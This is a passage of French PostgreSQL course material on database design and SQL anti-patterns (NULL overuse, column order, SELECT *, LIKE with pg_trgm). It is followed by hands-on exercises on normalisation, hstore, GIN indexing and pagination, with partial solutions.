n’est pas adapté aux
montants financiers : sa manipulation implique de convertir en
numeric
pour éviter des erreurs d’arrondis. Autant utiliser
directement numeric
: si l’on ne mentionne pas la
précision, elle est exacte.
Le type numeric
paye sa précision par un stockage
parfois plus important et par des calculs plus lents que ceux des types
natifs comme les intX
et les floatX
.
Pour plus de détails, voir la documentation officielle :
Plus rarement, on rencontre aussi :
varchar
contenant
NULL
On rencontre parfois ce genre de choses :
Immatriculation Camion | Numero de tournee |
---|---|
TP-108-AX | 12 |
TF-112-IR | ANNULÉE |
avec bien sûr une table tournée
décrivant la tournée
elle-même, avec une clé technique numérique.
Cela pose un gros problème de modélisation : la colonne a un type de
contenu qui dépend de l’information qu’elle contient. On va aussi avoir
un problème de performance en joignant cette chaîne à la clé numérique
de la table tournée
. Le moteur n’aura que deux choix :
convertir la chaîne en numérique, avec une exception à la clé en
essayant de convertir « ANNULÉE », ou bien (ce qu’il fera) convertir le
numérique de la table tournee
en chaîne. Cette dernière
méthode rendra l’accès à l’identifiant de tournée par index impossible.
D’où un parcours complet (Seq Scan) de la table
tournée
à chaque accès et des performances qui décroissent
au fur et à mesure que la table grossit.
La solution est une supplémentaire (un booléen
tournee_ok
par exemple).
Un autre classique est le champ date stocké au format texte. Le format correct de cette date ne peut être garanti par la base, ce qui mène systématiquement à des erreurs de conversion si un humain est impliqué. Dans un environnement international où l’on mélange DD-MM-YYYY et MM-DD-YYYY, un rattrapage manuel est même illusoire. Les calculs de date sont évidemment impossibles.
NULL
LIKE
Le langage SQL est généralement méconnu, ce qui amène à l’écriture de requêtes peu performantes, voire peu pérennes.
NULL
signifie habituellement :
NULL
est habituellement signe d’un
problème de modélisation.NOT NULL
recommandéUne table qui contient majoritairement des valeurs NULL
contient bien peu de faits utilisables. La plupart du temps, c’est une
table dans laquelle on stocke beaucoup de choses n’ayant que peu de
rapport entre elles, les champs étant renseignés suivant le type de
chaque « chose ». C’est donc le plus souvent un signe de mauvaise
modélisation. Cette table aurait certainement dû être éclatée en
plusieurs tables, chacune représentant une des relations qu’on veut
modéliser.
Il est donc recommandé que tous les attributs d’une table portent une
contrainte NOT NULL
. Quelques colonnes peuvent ne pas
porter ce type de contraintes, mais elles doivent être une exception. En
effet, le comportement de la base de données est souvent source de
problèmes lorsqu’une valeur NULL
entre en jeu. Par exemple,
la concaténation d’une chaîne de caractères avec une valeur
NULL
retourne une valeur NULL
, car elle est
propagée dans les calculs. D’autres types de problèmes apparaissent
également pour les prédicats.
Il faut avoir à l’esprit cette citation de Chris Date :
« La valeur
NULL
telle qu’elle est implémentée dans SQL peut poser plus de problèmes qu’elle n’en résout. Son comportement est parfois étrange et est source de nombreuses erreurs et de confusions. »
Il ne ne s’agit pas de remplacer ce NULL
par des valeurs
« magiques » (par exemple -1 pour « Non renseigné » , cela ne ferait que
complexifier le code) mais de se demander si NULL
a une
vraie signification.
Le langage SQL permet de s’appuyer sur l’ordre physique des colonnes d’une table. Or, faire confiance à la base de données pour conserver cet ordre physique peut entraîner de graves problèmes applicatifs en cas de changements. Dans le meilleur des cas, l’application ne fonctionnera plus, ce qui permet d’éviter les corruptions de données silencieuses, où une colonne prend des valeurs destinées normalement à être stockées dans une autre colonne. Si l’application continue de fonctionner, elle va générer des résultats faux et des incohérences d’affichage.
Par exemple, l’ordre des colonnes peut changer notamment lorsque
certains ETL sont utilisés pour modifier le type d’une colonne
varchar(10)
en varchar(11)
. Par exemple, pour
la colonne username
, l’ETL Kettle génère les ordres
suivants :
ALTER TABLE utilisateurs ADD COLUMN username_KTL VARCHAR(11);
UPDATE utilisateurs SET username_KTL=username;
ALTER TABLE utilisateurs DROP COLUMN username;
ALTER TABLE utilisateurs RENAME username_KTL TO username
Il génère des ordres SQL inutiles et consommateurs d’entrées/sorties disques car il doit générer des ordres SQL compris par tous les SGBD du marché. Or, tous les SGBD ne permettent pas de changer le type d’une colonne aussi simplement que dans PostgreSQL. PostgreSQL, lui, ne permet pas de changer l’ordre d’apparition des colonnes.
C’est pourquoi il est préférable de lister explicitement les colonnes
dans les ordres INSERT
et SELECT
, afin de
garder un ordre d’insertion déterministe.
Exemples
Exemple de modification du schéma pouvant entraîner des problèmes d’insertion si les colonnes ne sont pas listées explicitement :
CREATE TABLE insere (id integer PRIMARY KEY, col1 varchar(5), col2 integer);
INSERT INTO insere VALUES (1, 'XX', 10);
ALTER TABLE insere ADD COLUMN col1_tmp varchar(6);
UPDATE insere SET col1_tmp = col1;
ALTER TABLE insere DROP COLUMN col1;
ALTER TABLE insere RENAME COLUMN col1_tmp TO col1;
INSERT INTO insere VALUES (2, 'XXX', 10);
L’utilisation de SELECT *
à la place d’une liste
explicite est une erreur similaire. Le nombre de colonnes peut
brutalement varier. De plus, toutes les colonnes sont rarement utilisées
dans un tel cas, ce qui provoque un gaspillage de ressources.
Le problème est similaire à tout autre langage :
Un exemple (sous Oracle) :
SELECT Article.datem AS Article_1_9,
Article.degre_alcool AS Article_1_10,
Article.id AS Article_1_19,
Article.iddf_categor AS Article_1_20,
Article.iddp_clsvtel AS Article_1_21,
Article.iddp_cdelist AS Article_1_22,
Article.iddf_cd_prix AS Article_1_23,
Article.iddp_agreage AS Article_1_24,
Article.iddp_codelec AS Article_1_25,
Article.idda_compo AS Article_1_26,
Article.iddp_comptex AS Article_1_27,
Article.iddp_cmptmat AS Article_1_28,
Article.idda_articleparent AS Article_1_29,
Article.iddp_danger AS Article_1_30,
Article.iddf_fabric AS Article_1_33,
Article.iddp_marqcom AS Article_1_34,
Article.iddp_nomdoua AS Article_1_35,
Article.iddp_pays AS Article_1_37,
Article.iddp_recept AS Article_1_40,
Article.idda_unalvte AS Article_1_42,
Article.iddb_sitecl AS Article_1_43,
Article.lib_caisse AS Article_1_49,
Article.lib_com AS Article_1_50,
Article.maj_en_attente AS Article_1_61,
Article.qte_stk AS Article_1_63,
Article.ref_tech AS Article_1_64,
1 AS Article_1_70,
CASE
WHEN (SELECT COUNT(MA.id)
FROM da_majart MA
join da_majmas MM
ON MM.id = MA.idda_majmas
join gt_tmtprg TMT
ON TMT.id = MM.idgt_tmtprg
join gt_prog PROG
ON PROG.id = TMT.idgt_prog
WHERE idda_article = Article.id
AND TO_DATE(TO_CHAR(PROG.date_lancement, 'DDMMYYYY')
|| TO_CHAR(PROG.heure_lancement, ' HH24:MI:SS'),
'DDMMYYYY HH24:MI:SS') >= SYSDATE) >= 1 THEN 1
ELSE 0
END AS Article_1_74,
Article.iddp_compnat AS Article_2_0,
Article.iddp_modven AS Article_2_1,
Article.iddp_nature AS Article_2_2,
Article.iddp_preclin AS Article_2_3,
Article.iddp_raybala AS Article_2_4,
Article.iddp_sensgrt AS Article_2_5,
Article.iddp_tcdtfl AS Article_2_6,
Article.iddp_unite AS Article_2_8,
Article.idda_untgrat AS Article_2_9,
Article.idda_unpoids AS Article_2_10,
Article.iddp_unilogi AS Article_2_11,
ArticleComplement.datem AS ArticleComplement_5_6,
ArticleComplement.extgar_depl AS ArticleComplement_5_9,
ArticleComplement.extgar_mo AS ArticleComplement_5_10,
ArticleComplement.extgar_piece AS ArticleComplement_5_11,
ArticleComplement.id AS ArticleComplement_5_20,
ArticleComplement.iddf_collect AS ArticleComplement_5_22,
ArticleComplement.iddp_gpdtcul AS ArticleComplement_5_23,
ArticleComplement.iddp_support AS ArticleComplement_5_25,
ArticleComplement.iddp_typcarb AS ArticleComplement_5_27,
ArticleComplement.mt_ext_gar AS ArticleComplement_5_36,
ArticleComplement.pres_cpt AS ArticleComplement_5_44,
GenreProduitCulturel.code AS GenreProduitCulturel_6_0,
Collection.libelle AS Collection_8_1,
Gtin.date_dern_vte AS Gtin_10_0,
Gtin.gtin AS Gtin_10_1,
Gtin.id AS Gtin_10_3,
Fabricant.code AS Fabricant_14_0,
Fabricant.nom AS Fabricant_14_2,
ClassificationVenteLocale.niveau1 AS ClassificationVenteL_16_2,
ClassificationVenteLocale.niveau2 AS ClassificationVenteL_16_3,
ClassificationVenteLocale.niveau3 AS ClassificationVenteL_16_4,
ClassificationVenteLocale.niveau4 AS ClassificationVenteL_16_5,
MarqueCommerciale.code AS MarqueCommerciale_18_0,
MarqueCommerciale.libellelong AS MarqueCommerciale_18_4,
Composition.code AS Composition_20_0,
CompositionTextile.code AS CompositionTextile_21_0,
AssoArticleInterfaceBalance.datem AS AssoArticleInterface_23_0,
AssoArticleInterfaceBalance.lib_envoi AS AssoArticleInterface_23_3,
AssoArticleInterfaceCaisse.datem AS AssoArticleInterface_24_0,
AssoArticleInterfaceCaisse.lib_envoi AS AssoArticleInterface_24_3,
NULL AS TypeTraitement_25_0,
NULL AS TypeTraitement_25_1,
RayonBalance.code AS RayonBalance_31_0,
RayonBalance.max_cde_article AS RayonBalance_31_5,
RayonBalance.min_cde_article AS RayonBalance_31_6,
TypeTare.code AS TypeTare_32_0,
GrilleDePrix.datem AS GrilleDePrix_34_1,
GrilleDePrix.libelle AS GrilleDePrix_34_3,
FicheAgreage.code AS FicheAgreage_38_0,
Codelec.iddp_periact AS Codelec_40_1,
Codelec.libelle AS Codelec_40_2,
Codelec.niveau1 AS Codelec_40_3,
Codelec.niveau2 AS Codelec_40_4,
Codelec.niveau3 AS Codelec_40_5,
Codelec.niveau4 AS Codelec_40_6,
PerimetreActivite.code AS PerimetreActivite_41_0,
DonneesPersonnalisablesCodelec.gestionreftech AS DonneesPersonnalisab_42_0,
ClassificationArticleInterne.id AS ClassificationArticl_43_0,
ClassificationArticleInterne.niveau1 AS ClassificationArticl_43_2,
DossierCommercial.id AS DossierCommercial_52_0,
DossierCommercial.codefourndc AS DossierCommercial_52_1,
DossierCommercial.anneedc AS DossierCommercial_52_3,
DossierCommercial.codeclassdc AS DossierCommercial_52_4,
DossierCommercial.numversiondc AS DossierCommercial_52_5,
DossierCommercial.indice AS DossierCommercial_52_6,
DossierCommercial.code_ss_classement AS DossierCommercial_52_7,
OrigineNegociation.code AS OrigineNegociation_53_0,
MotifBlocageInformation.libellelong AS MotifBlocageInformat_54_3,
ArbreLogistique.id AS ArbreLogistique_63_1,
ArbreLogistique.codesap AS ArbreLogistique_63_5,
Fournisseur.code AS Fournisseur_66_0,
Fournisseur.nom AS Fournisseur_66_2,
Filiere.code AS Filiere_67_0,
Filiere.nom AS Filiere_67_2,
ValorisationAchat.val_ach_patc AS Valorisation_74_3,
LienPrixVente.code AS LienPrixVente_76_0,
LienPrixVente.datem AS LienPrixVente_76_1,
LienGratuite.code AS LienGratuite_78_0,
LienGratuite.datem AS LienGratuite_78_1,
LienCoordonnable.code AS LienCoordonnable_79_0,
LienCoordonnable.datem AS LienCoordonnable_79_1,
LienStatistique.code AS LienStatistique_81_0,
LienStatistique.datem AS LienStatistique_81_1
FROM da_article Article
join (SELECT idarticle,
poids,
ROW_NUMBER()
over (
PARTITION BY RNA.id
ORDER BY INNERSEARCH.poids) RN,
titre,
nom,
prenom
FROM da_article RNA
join (SELECT idarticle,
pkg_db_indexation.CALCULPOIDSMOTS(chaine,
'foire vins%') AS POIDS,
DECODE(index_clerecherche, 'Piste.titre', chaine,
'') AS TITRE,
DECODE(index_clerecherche, 'Artiste.nom_prenom',
SUBSTR(chaine, 0, INSTR(chaine, '_') - 1),
'') AS NOM,
DECODE(index_clerecherche, 'Artiste.nom_prenom',
SUBSTR(chaine, INSTR(chaine, '_') + 1),
'') AS PRENOM
FROM ((SELECT index_idenreg AS IDARTICLE,
C.cde_art AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'Article.codeArticle'
join da_article C
ON id = index_idenreg
WHERE mots_mot = 'foire'
INTERSECT
SELECT index_idenreg AS IDARTICLE,
C.cde_art AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'Article.codeArticle'
join da_article C
ON id = index_idenreg
WHERE mots_mot LIKE 'vins%'
AND 1 = 1)
UNION ALL
(SELECT index_idenreg AS IDARTICLE,
C.cde_art_bal AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'Article.codeArticleBalance'
join da_article C
ON id = index_idenreg
WHERE mots_mot = 'foire'
INTERSECT
SELECT index_idenreg AS IDARTICLE,
C.cde_art_bal AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'Article.codeArticleBalance'
join da_article C
ON id = index_idenreg
WHERE mots_mot LIKE 'vins%'
AND 1 = 1)
UNION ALL
(SELECT index_idenreg AS IDARTICLE,
C.lib_com AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'Article.libelleCommercial'
join da_article C
ON id = index_idenreg
WHERE mots_mot = 'foire'
INTERSECT
SELECT index_idenreg AS IDARTICLE,
C.lib_com AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'Article.libelleCommercial'
join da_article C
ON id = index_idenreg
WHERE mots_mot LIKE 'vins%'
AND 1 = 1)
UNION ALL
(SELECT idda_article AS IDARTICLE,
C.gtin AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'Gtin.gtin'
join da_gtin C
ON id = index_idenreg
WHERE mots_mot = 'foire'
INTERSECT
SELECT idda_article AS IDARTICLE,
C.gtin AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'Gtin.gtin'
join da_gtin C
ON id = index_idenreg
WHERE mots_mot LIKE 'vins%'
AND 1 = 1)
UNION ALL
(SELECT idda_article AS IDARTICLE,
C.ref_frn AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'ArbreLogistique.referenceFournisseur'
join da_arblogi C
ON id = index_idenreg
WHERE mots_mot = 'foire'
INTERSECT
SELECT idda_article AS IDARTICLE,
C.ref_frn AS CHAINE,
index_clerecherche
FROM cstd_mots M
join cstd_index I
ON I.mots_id = M.mots_id
AND index_clerecherche =
'ArbreLogistique.referenceFournisseur'
join da_arblogi C
ON id = index_idenreg
WHERE mots_mot LIKE 'vins%'
AND 1 = 1))) INNERSEARCH
ON INNERSEARCH.idarticle = RNA.id) SEARCHMC
ON SEARCHMC.idarticle = Article.id
AND 1 = 1
left join da_artcmpl ArticleComplement
ON Article.id = ArticleComplement.idda_article
left join dp_gpdtcul GenreProduitCulturel
ON ArticleComplement.iddp_gpdtcul = GenreProduitCulturel.id
left join df_collect Collection
ON ArticleComplement.iddf_collect = Collection.id
left join da_gtin Gtin
ON Article.id = Gtin.idda_article
AND Gtin.principal = 1
AND Gtin.db_suplog = 0
left join df_fabric Fabricant
ON Article.iddf_fabric = Fabricant.id
left join dp_clsvtel ClassificationVenteLocale
ON Article.iddp_clsvtel = ClassificationVenteLocale.id
left join dp_marqcom MarqueCommerciale
ON Article.iddp_marqcom = MarqueCommerciale.id
left join da_compo Composition
ON Composition.id = Article.idda_compo
left join dp_comptex CompositionTextile
ON CompositionTextile.id = Article.iddp_comptex
left join da_arttrai AssoArticleInterfaceBalance
ON AssoArticleInterfaceBalance.idda_article = Article.id
AND AssoArticleInterfaceBalance.iddp_tinterf = 1
left join da_arttrai AssoArticleInterfaceCaisse
ON AssoArticleInterfaceCaisse.idda_article = Article.id
AND AssoArticleInterfaceCaisse.iddp_tinterf = 4
left join dp_raybala RayonBalance
ON Article.iddp_raybala = RayonBalance.id
left join dp_valdico TypeTare
ON TypeTare.id = RayonBalance.iddp_typtare
left join df_categor Categorie
ON Categorie.id = Article.iddf_categor
left join df_grille GrilleDePrix
ON GrilleDePrix.id = Categorie.iddf_grille
left join dp_agreage FicheAgreage
ON FicheAgreage.id = Article.iddp_agreage
join dp_codelec Codelec
ON Article.iddp_codelec = Codelec.id
left join dp_periact PerimetreActivite
ON PerimetreActivite.id = Codelec.iddp_periact
left join dp_perscod DonneesPersonnalisablesCodelec
ON Codelec.id = DonneesPersonnalisablesCodelec.iddp_codelec
AND DonneesPersonnalisablesCodelec.db_suplog = 0
AND DonneesPersonnalisablesCodelec.iddb_sitecl = 1012124
left join dp_clsart ClassificationArticleInterne
ON DonneesPersonnalisablesCodelec.iddp_clsart =
ClassificationArticleInterne.id
left join da_artdeno ArticleDenormalise
ON Article.id = ArticleDenormalise.idda_article
left join df_clasmnt ClassementFournisseur
ON ArticleDenormalise.iddf_clasmnt = ClassementFournisseur.id
left join tr_dosclas DossierDeClassement
ON ClassementFournisseur.id = DossierDeClassement.iddf_clasmnt
AND DossierDeClassement.date_deb <= '2013-09-27'
AND COALESCE(DossierDeClassement.date_fin,
TO_DATE('31129999', 'DDMMYYYY')) >= '2013-09-27'
left join tr_doscomm DossierCommercial
ON DossierDeClassement.idtr_doscomm = DossierCommercial.id
left join dp_valdico OrigineNegociation
ON DossierCommercial.iddp_dossref = OrigineNegociation.id
left join dp_motbloc MotifBlocageInformation
ON MotifBlocageInformation.id = ArticleDenormalise.idda_motinf
left join da_arblogi ArbreLogistique
ON Article.id = ArbreLogistique.idda_article
AND ArbreLogistique.princ = 1
AND ArbreLogistique.db_suplog = 0
left join df_filiere Filiere
ON ArbreLogistique.iddf_filiere = Filiere.id
left join df_fourn Fournisseur
ON Filiere.iddf_fourn = Fournisseur.id
left join od_dosal dossierALValo
ON dossierALValo.idda_arblogi = ArbreLogistique.id
AND dossierALValo.idod_dossier IS NULL
left join tt_val_dal valoDossier
ON valoDossier.idod_dosal = dossierALValo.id
AND valoDossier.estarecalculer = 0
left join tt_valo ValorisationAchat
ON ValorisationAchat.idtt_val_dal = valoDossier.id
AND ValorisationAchat.date_modif_retro IS NULL
AND ValorisationAchat.date_debut_achat <= '2013-09-27'
AND COALESCE(ValorisationAchat.date_fin_achat,
TO_DATE('31129999', 'DDMMYYYY')) >= '2013-09-27'
AND ValorisationAchat.val_ach_pab IS NOT NULL
left join da_lienart assoALPXVT
ON assoALPXVT.idda_article = Article.id
AND assoALPXVT.iddp_typlien = 14893
left join da_lien LienPrixVente
ON LienPrixVente.id = assoALPXVT.idda_lien
left join da_lienart assoALGRAT
ON assoALGRAT.idda_article = Article.id
AND assoALGRAT.iddp_typlien = 14894
left join da_lien LienGratuite
ON LienGratuite.id = assoALGRAT.idda_lien
left join da_lienart assoALCOOR
ON assoALCOOR.idda_article = Article.id
AND assoALCOOR.iddp_typlien = 14899
left join da_lien LienCoordonnable
ON LienCoordonnable.id = assoALCOOR.idda_lien
left join da_lienal assoALSTAT
ON assoALSTAT.idda_arblogi = ArbreLogistique.id
AND assoALSTAT.iddp_typlien = 14897
left join da_lien LienStatistique
ON LienStatistique.id = assoALSTAT.idda_lien WHERE
SEARCHMC.rn = 1
AND ( ValorisationAchat.id IS NULL
OR ValorisationAchat.date_debut_achat = (
SELECT MAX(VALMAX.date_debut_achat)
FROM tt_valo VALMAX
WHERE VALMAX.idtt_val_dal = ValorisationAchat.idtt_val_dal
AND VALMAX.date_modif_retro IS NULL
AND VALMAX.val_ach_pab IS NOT NULL
AND VALMAX.date_debut_achat <= '2013-09-27') )
AND ( Article.id IN (SELECT A.id
FROM da_article A
join du_ucutiar AssoUcUtiAr
ON AssoUcUtiAr.idda_article = A.id
join du_asucuti AssoUcUti
ON AssoUcUti.id = AssoUcUtiAr.iddu_asucuti
WHERE ( AssoUcUti.iddu_uti IN ( 90000000000022 ) )
AND a.iddb_sitecl = 1012124) )
AND Article.db_suplog = 0
ORDER BY SEARCHMC.poids ASC
Comprendre un tel monstre implique souvent de l’imprimer pour acquérir une vision globale et prendre des notes :
Ce code a été généré initialement par Hibernate, puis édité plusieurs
fois à la main.
LIKE
pg_trgm
Les bases de données qui stockent des données textuelles ont souvent pour but de permettre des recherches sur ces données textuelles.
La première solution envisagée lorsque le besoin se fait sentir est
d’utiliser l’opérateur LIKE
. Il permet en effet de réaliser
des recherches de motif sur une colonne stockant des données textuelles.
C’est une solution simple et qui peut s’avérer simpliste dans de
nombreux cas.
Tout d’abord, les recherches de type LIKE '%motif%'
ne
peuvent généralement pas tirer partie d’un index btree normal. Cela
étant dit, l’extension pg_trgm
permet d’optimiser ces
recherches à l’aide d’un index GiST ou GIN. Elle fait partie des
extensions standard et ne nécessite pas d’adaptation du code.
Exemples
L’exemple ci-dessous montre l’utilisation du module
pg_trgm
pour accélérer une recherche avec
LIKE '%motif%'
:
QUERY PLAN
------------------------------------------------------------
Seq Scan on appellation (cost=0.00..6.99 rows=3 width=24)
Filter: (libelle ~~ '%wur%'::text)
CREATE EXTENSION pg_trgm;
CREATE INDEX idx_appellation_libelle_trgm ON appellation
USING gist (libelle gist_trgm_ops);
QUERY PLAN
-----------------------------------------------------------------------------
Bitmap Heap Scan on appellation (cost=4.27..7.41 rows=3 width=24)
Recheck Cond: (libelle ~~ '%wur%'::text)
-> Bitmap Index Scan on idx_appellation_libelle_trgm (cost=0.00..4.27...)
Index Cond: (libelle ~~ '%wur%'::text)
Mais cette solution n’offre pas la même souplesse que la recherche plein texte, en anglais Full Text Search, de PostgreSQL. Elle est cependant plus complexe à mettre en œuvre et possède une syntaxe spécifique.
La version en ligne des solutions de ces TP est disponible sur https://dali.bo/s8_solutions.
Ce TP utilise les tables voitures
et
voitures_ecv
.
Les deux tables voitures
et voitures_ecv
peuvent être téléchargées installées comme suit :
createdb voitures
curl -kL https://dali.bo/tp_voitures -o /tmp/voitures.dmp
pg_restore -d voitures /tmp/voitures.dmp
# un message sur le schéma public préexistant est normal
Ne pas oublier d’effectuer un VACUUM ANALYZE
.
But : Normaliser un schéma de données.
La table voitures
viole la première forme normale
(attribut répétitif, non atomique). De plus elle n’a pas de clé
primaire.
Renommer la table en
voitures_orig
. Ne pas la supprimer (nous en aurons besoin plus tard).
Écrire des requêtes permettant d’éclater cette table en trois tables :
voitures
,caracteristiques
etcaracteristiques_voitures
. (La fonctionregexp_split_to_table
permettra de séparer les champs de caractéristiques.)
Mettre en place les contraintes d’intégrité : clé primaire sur chaque table, et clés étrangères. Ne pas prévoir encore d’index supplémentaire. Attention : la table de départ contient des immatriculations en doublon !
Tenter d’insérer une Clio avec les caractéristiques « ABS » (majusucules) et « phares LED ».
Comparer les performances entre les deux modèles pour une recherche des voitures ayant un toit ouvrant.
Les plans sont-ils les mêmes si la caractéristique recherchée n’existe pas ?
Indexer la colonne de clé étrangère
caracteristiques_voitures.carateristique
et voir ce que devient le plan de la dernière requête.
Rechercher une voitures possédant les 3 options ABS, toit ouvrant et 4 roues motrices, et voir le plan.
But : Manipuler des données au format entité/clé/valeur.
Une autre version de la table voiture
existe aussi dans
cette base au format « entité/clé/valeur » c’est la table
voitures_ecv
. Sa clé primaire est entite
(immatriculation) / cle
(caractéristique). En pratique il
n’y a que des booléens.
Afficher toutes les caractéristiques d’une voiture au hasard (par exemple ZY-745-KT).
Trouver toutes les caractéristiques de toutes les voitures ayant un toit ouvrant dans
voitures_ecv
. Trier par immatriculation. Quel est le plan d’exécution ?
hstore
est une extension qui permet de stocker des
clés/valeur dans un champ. Sa documentation est sur le site du
projet.
Installer l’extension
hstore
. Convertir cette table pour qu’elle utilise une ligne par immatriculation, avec les caractéristiques dans un champhstore
. Une méthode simple est de récupérer les lignes d’une même immatriculation avec la fonctionarray_agg
puis de convertir simplement en champhstore
.
Rechercher la voiture précédente.
Insérer une voiture avec les caractéristiques
couleur=>vert
etphares=>LED
.
Définir un index de type GiST sur ce champ
hstore
. Retrouver la voiture insérée par ses caractéristiques.
But : Indexer un champ tableau pour améliorer les performances.
Il est possible, si on peut réécrire la requête, d’obtenir de bonnes
performances avec la première table voitures_orig
. En
effet, PostgreSQL sait indexer des tableaux et des fonctions. Il saurait
donc indexer un tableau résultat d’une fonction sur le champ
caracteristiques
.
Trouver cette fonction dans la documentation de PostgreSQL (chercher dans les fonctions de découpage de chaîne de caractères).
Définir un index fonctionnel sur le résultat de cette fonction, de type GIN.
Rechercher toutes les voitures avec toit ouvrant et voir le plan.
But : Effectuer une requête avec pagination
La pagination est une fonctionnalité que l’on retrouve de plus en plus souvent, surtout depuis que les applications web ont pris une place prépondérante.
Nous allons utiliser une version simplifiée d’une table de forum.
La table posts
(dump de 358 Mo, 758 Mo sur disque) peut
être téléchargée et restaurée ainsi :
curl -kL https://dali.bo/tp_posts -o /tmp/posts.dump
createdb posts
pg_restore -d posts /tmp/posts.dump
# le message sur le schéma public préexistant est normal
rm -- /tmp/posts.dump
Ne pas oublier d’effectuer ensuite un
VACUUM ANALYZE
.
Nous voulons afficher le plus rapidement possible les messages (posts) associés à un article : les 10 premiers, puis du 11 au 20, etc. Nous allons examiner les différentes stratégies possibles.
La table contient 5 000 articles de 1000 posts, d’au plus 200 signes.
La description de la table est :
# \d posts
Table « public.posts »
Colonne | Type | Collationnement | NULL-able | Par défaut
------------+--------------------------+-----------------+-----------+------------
id_article | integer | | |
id_post | integer | | |
ts | timestamp with time zone | | |
message | text | | |
Index :
"posts_ts_idx" btree (ts)
Pour la clarté des plans, désactiver le JIT et le parallélisme dans votre session :
Écrire une requête permettant de récupérer les 10 premiers posts de l’article d’
id_article
=12
, triés dans l’ordre deid_post
. Il n’y a pas d’index, la requête va être très lente.
Créer un index permettant d’améliorer cette requête.
Utiliser les clauses
LIMIT
etOFFSET
pour récupérer les 10 posts suivants. Puis du post 901 au 921. Que constate-t-on sur le plan d’exécution ?
Trouver une réécriture de la requête pour trouver directement les posts 901 à 911 une fois connu le post 900 récupéré au travers de la pagination.
But : Mise en évidence de cas piégeux dans les clauses WHERE.
Nous utilisons toujours la table posts
. Nous allons
maintenant manipuler le champ ts
, de type
timestamp
. Ce champ est indexé.
La requête
SELECT * FROM posts WHERE to_char(ts,'YYYYMM')='201302'
retourne tous les enregistrements de février 2013. Examiner son plan d’exécution. Où est le problème ?
Réécrire la clause
WHERE
avec une inégalité de dates pour utiliser l’index surts
.
Plus compliqué : retourner tous les posts ayant eu lieu un dimanche, en 2013, en passant par un index et en une seule requête. (Indice : il est possible de générer la liste de tous les dimanches de l’année 2013 avec
generate_series('2013-01-06 00:00:00','2014-01-01 00:00:00', INTERVAL '7 days')
)
On cherche un article à peu près au tiers de la liste avec la requête suivante. Pourquoi est-elle si lente ?
Renommer la table en
voitures_orig
. Ne pas la supprimer (nous en aurons besoin plus tard).
Écrire des requêtes permettant d’éclater cette table en trois tables :
voitures
,caracteristiques
etcaracteristiques_voitures
. (La fonctionregexp_split_to_table
permettra de séparer les champs de caractéristiques.)
CREATE TABLE voitures AS
SELECT DISTINCT ON (immatriculation) immatriculation, modele
FROM voitures_orig ;
ALTER TABLE voitures ADD PRIMARY KEY (immatriculation);
CREATE TABLE caracteristiques
AS SELECT *
FROM (
SELECT DISTINCT
regexp_split_to_table(caracteristiques,',') caracteristique
FROM voitures_orig)
AS tmp
WHERE caracteristique <> '' ;
ALTER TABLE caracteristiques ADD PRIMARY KEY (caracteristique);
CREATE TABLE caracteristiques_voitures
AS SELECT DISTINCT *
FROM (
SELECT
immatriculation,
regexp_split_to_table(caracteristiques,',') caracteristique
FROM voitures_orig
)
AS tmp
WHERE caracteristique <> '';
VACUUM ANALYZE ;
\d+
Liste des relations
Schéma | Nom | Type | Propriétaire | ... | Taille | ...
--------+---------------------------+-------+--------------+-----+---------+-
public | caracteristiques | table | postgres | | 48 kB |
public | caracteristiques_voitures | table | postgres | | 3208 kB |
public | voitures | table | postgres | | 4952 kB |
public | voitures_ecv | table | postgres | | 3336 kB |
public | voitures_orig | table | postgres | | 5736 kB |
Mettre en place les contraintes d’intégrité : clé primaire sur chaque table, et clés étrangères. Ne pas prévoir encore d’index supplémentaire. Attention : la table de départ contient des immatriculations en doublon !
Sur caracteristiques_voitures
, la clé primaire comprend
les deux colonnes, et donc interdit qu’une même caractéristique soit
présente deux fois sur la même voiture :
Clé étrangère de cette table vers les deux autres tables :
ALTER TABLE caracteristiques_voitures
ADD FOREIGN KEY (immatriculation)
REFERENCES voitures(immatriculation);
ALTER TABLE caracteristiques_voitures
ADD FOREIGN KEY (caracteristique)
REFERENCES caracteristiques(caracteristique);
Tenter d’insérer une Clio avec les caractéristiques « ABS » (majusucules) et « phares LED ».
En toute rigueur il faut le faire dans une transaction :
BEGIN ;
INSERT INTO voitures VALUES ('AA-007-JB','clio') ;
INSERT INTO caracteristiques_voitures (immatriculation, caracteristique)
VALUES ('AA-007-JB','ABS') ;
INSERT INTO caracteristiques_voitures (immatriculation, caracteristique)
VALUES ('AA-007-JB','phares LED') ;
COMMIT ;
Évidemment, cela échoue :
ERROR: insert or update on table "caracteristiques_voitures" violates foreign key
constraint "caracteristiques_voitures_caracteristique_fkey"
DÉTAIL : Key (caracteristique)=(ABS) is not present in table "caracteristiques".
ERROR: insert or update on table "caracteristiques_voitures" violates foreign key
constraint "caracteristiques_voitures_immatriculation_fkey"
DÉTAIL : Key (immatriculation)=(AA-007-JB) is not present in table "voitures".
En cas d’erreur, c’est exactement ce que l’on veut.
Pour que l’insertion fonctionne, il faut corriger la casse de « ABS » et déclarer la nouvelle propriété :
BEGIN ;
INSERT INTO voitures VALUES ('AA-007-JB','clio') ;
INSERT INTO caracteristiques VALUES ('phares LED') ;
INSERT INTO caracteristiques_voitures (immatriculation, caracteristique)
VALUES ('AA-007-JB','abs') ;
INSERT INTO caracteristiques_voitures (immatriculation, caracteristique)
VALUES ('AA-007-JB','phares LED') ;
COMMIT ;
Comparer les performances entre les deux modèles pour une recherche des voitures ayant un toit ouvrant.
La version la plus simple est :
Plus rigoureusement ([[:>:]]
et
[[:<:]]
indiquent des frontières de mots.), on
préférera :
